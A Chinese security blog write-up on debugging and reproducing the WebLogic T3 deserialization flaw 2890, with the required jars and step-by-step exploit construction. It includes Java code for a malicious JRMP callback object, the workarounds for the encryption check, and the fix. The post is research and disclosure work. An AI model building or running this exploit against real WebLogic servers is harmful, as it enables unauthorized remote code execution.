No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经雷神众测允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。

No.2

起因

本文仅记录一下自己调试2890的一些过程，网上已经有两篇公开的文章了，所以自己上手调了一下这个漏洞，发现真的是个弟中弟的漏洞。

No.3

漏洞原理

T3反序列化关键字还是 readObject ，所以补丁下来的第一时间，我全部反编译了，但是由于之前没有研究过weblogic，历史补丁没怎么留存，如果通过diff对比更新的方式会很快定位，所以只能反编译后搜。

之前T3反序列化的入口有 StreamMessageImpl、MarshalledObject 等，而且修复方式也是采用 resolveClass 或者 resolveProxyClass 处增加黑名单的校验的方式来修复，因此基于这两点实际上很好定位漏洞位置：
1、入口有 readObject 反序列化，
2、resolveClass 或者 resolveProxyClass 处有名单校验，且类不是之前修复过的类。

基于上述这两种情况很快定位到了 PersistenContext 这个类。

再回头翻一下 weblogic 原来的代码，嗯确实入口在这，在 readSubject 方法中，首先会读取var1中的反序列化数据，然后调用EncryptionUtil.decrypt方法进行解密，最后再触发反序列化。

因此构造Poc的时候，需要用PersistenContext这个类的 writeSubject 方法来生成特殊的序列化对象，让 readSubject 方法反序列化的时候成功触发。

No.4

漏洞利用

1.导入jar

网上有两篇文章都说了这么个构造思路，但是我阅读学习的时候，死在了导入jar这个难题下，因此在漏洞利用的开头，我列出几个jar文件，测试环境 weblogic 10.3.6 ，可能weblogic 12 jar名字有所不同。

com.bea.core.logging_1.9.0.0.jar

com.bea.core.management.core_2.9.0.1.jar

com.oracle.core.weblogic.msgcat_1.2.0.0.jar

cryptoj.jar

glassfish.jaxb_1.1.0.0_2-1-14.jar

weblogic.jar

wlthint3client.jar

2.重写PersistenContext类

因为需要用到 PersinstenContext 这个类，因此序列化的时候肯定要将其实例化，但是在下图代码位置有个if检查。

在这个if检查的结果会抛出 com.bea.core.security.managers.NotSupportedException 的异常导致反序列化中止。

因此这里解决办法就是绕过它，把它注释掉。

3.改造writeSubject中的writeObject

原先在 writeSubject 中正常写入的对象如下图所示。

这里我们需要将其替换掉，改成我们自己恶意对象，我的做法是构造恶意的JRMP对象。

public static Registry getObject(String command) throws Exception {            int sep = command.indexOf(58);
           String host;            int port;            if (sep < 0) {
               port = (new Random()).nextInt(65535);
               host = command;
           } else {
               host = command.substring(0, sep);
               port = Integer.valueOf(command.substring(sep + 1));
           }
           ObjID id = new ObjID((new Random()).nextInt());
           TCPEndpoint te = new TCPEndpoint(host, port);
           UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
           RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
           Registry proxy = (Registry)Proxy.newProxyInstance(ysoserial.payloads.JRMPClient.class.getClassLoader(), new Class[]{Registry.class}, obj);            return proxy;
       }

4.改造加密问题

原先我们看到了，反序列化过程中有个解密过程，所以这里需要加密一下。首先加密过程有个KernelStatus.isServer()的判断。

if (KernelStatus.isServer()) {
           var5 = EncryptionUtil.encrypt(var5);
       }

或者说我直接改造一下，把if去掉，让他直接EncryptionUtil.encrypt不就好了吗，但是跟进去之后会发现还是有个 Kernel.isServer() 的的判断。

public static byte[] encrypt(byte[] var0) {        return Kernel.isServer() ? getEncryptionService().encryptBytes(var0) : var0;
   }

因此这里需要调用KernelStatus.setIsServer(true);，将状态设置为true。

当然这里还有另一种解法，我们实际上可以直接调用

var5 = EncryptionUtil.getEncryptionService().encryptBytes((byte []) var5);

但是有个小问题 getEncryptionService 是一个 private 方法，你需要重写一个把它变成public就可以直接调用了。

所以我重写了一个 EncryptionUtil ，并且将 getEncryptionService 设置为了 public 。

5.解决加密key的问题

在 weblogic.security.internal.SerializedSystemIni 存在一个加密的key，这个key实际上每个weblogic都不一样，所以官方给这个漏洞评价为授权状态下getshell，也是和之前的T3反序列化不太一样的地方，这里的解决办法就是你要复现那个weblogic，就找到他的 SerializedSystemIni.dat 文件，并且在自己的目录下创建一个 security 目录，放进去就好了。

6.最后一个小问题

在序列化的时候会出现卡死状态的，跟进之后发现原因在weblogic.security.subject.SubjectManager这个类里面。

在这个类里面的 getSubjectManager 方法会有一个 ceClient 的判断，如果为fasle就不会直接返回 ceSubjectManager 对象，因此需要让他为 true 。

而这个鬼东西默认情况下是false。

private static final boolean ceClient = "true".equalsIgnoreCase(System.getProperty("com.bea.core.internal.client", "false"));

因此只需要System.setProperty("com.bea.core.internal.client","true");让他过去即可。

最后还是弹个计算器吧。

No.5

漏洞修复

一如既往的老办法在resolveClass处增加黑名单检查。

注：本文由E安全编译报道，转载请注原文地址 https://www.easyaq.com

推荐阅读：

• E观察: 2020年 我们将直面5G安全问题

• E安全快讯:葡萄牙遭受新型恶意木马Lampion攻击

• 越来越多的受害者向勒索软件“乖乖就范”

• 城市升级 智慧治理 | 安恒信息智慧城市解决方案获得这些奖项

• 人脸识别技术竟带有种族色彩！？

▼点击

喜欢记得打赏小E哦！